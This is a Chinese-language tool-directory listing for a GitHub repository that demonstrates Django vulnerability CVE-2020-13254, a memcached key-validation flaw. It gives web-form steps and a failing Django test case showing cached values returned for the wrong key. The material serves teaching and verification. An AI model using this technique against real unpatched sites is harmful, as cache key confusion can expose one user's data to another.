Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
django-cve-2020-13254 — Django CVE-2020-13254 漏洞演示 | Kitploit
工具/GitHubGitHub/danpalmer/django-cve-2020-13254
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Django CVE-2020-13254 漏洞演示

查看仓库
2126年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Django CVE-2020-13254

该仓库通过两种方式演示了 CVE-2020-13254 的利用——通过 Web 界面和通过失败的测试用例。

更多详情请访问:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

通过 Web 进行利用

示例提供了一个带有两个表单的 Web 界面,一个用于在缓存中设置值,另一个用于获取值。这些表单直接转换为对 Django 缓存后端的调用。由于代码库没有实现任何会话或认证系统,在同一浏览器标签页中的多次使用与在不同机器上使用多个用户是无法区分的。

要利用:

  1. 将键 A 和 B 的值分别设置为 a 和 b。
  2. 尝试将 C D 的值设置为 c d。这将出错。
  3. 尝试获取键 A,将错误地返回空结果。
  4. 尝试获取键 B,结果将错误地为 a。

通过测试进行演示

这个过程可以用测试用例表示如下:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

这将失败并出现以下错误:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

在执行 set 之后,返回的缓存结果与正在执行的查询不匹配。

下载工具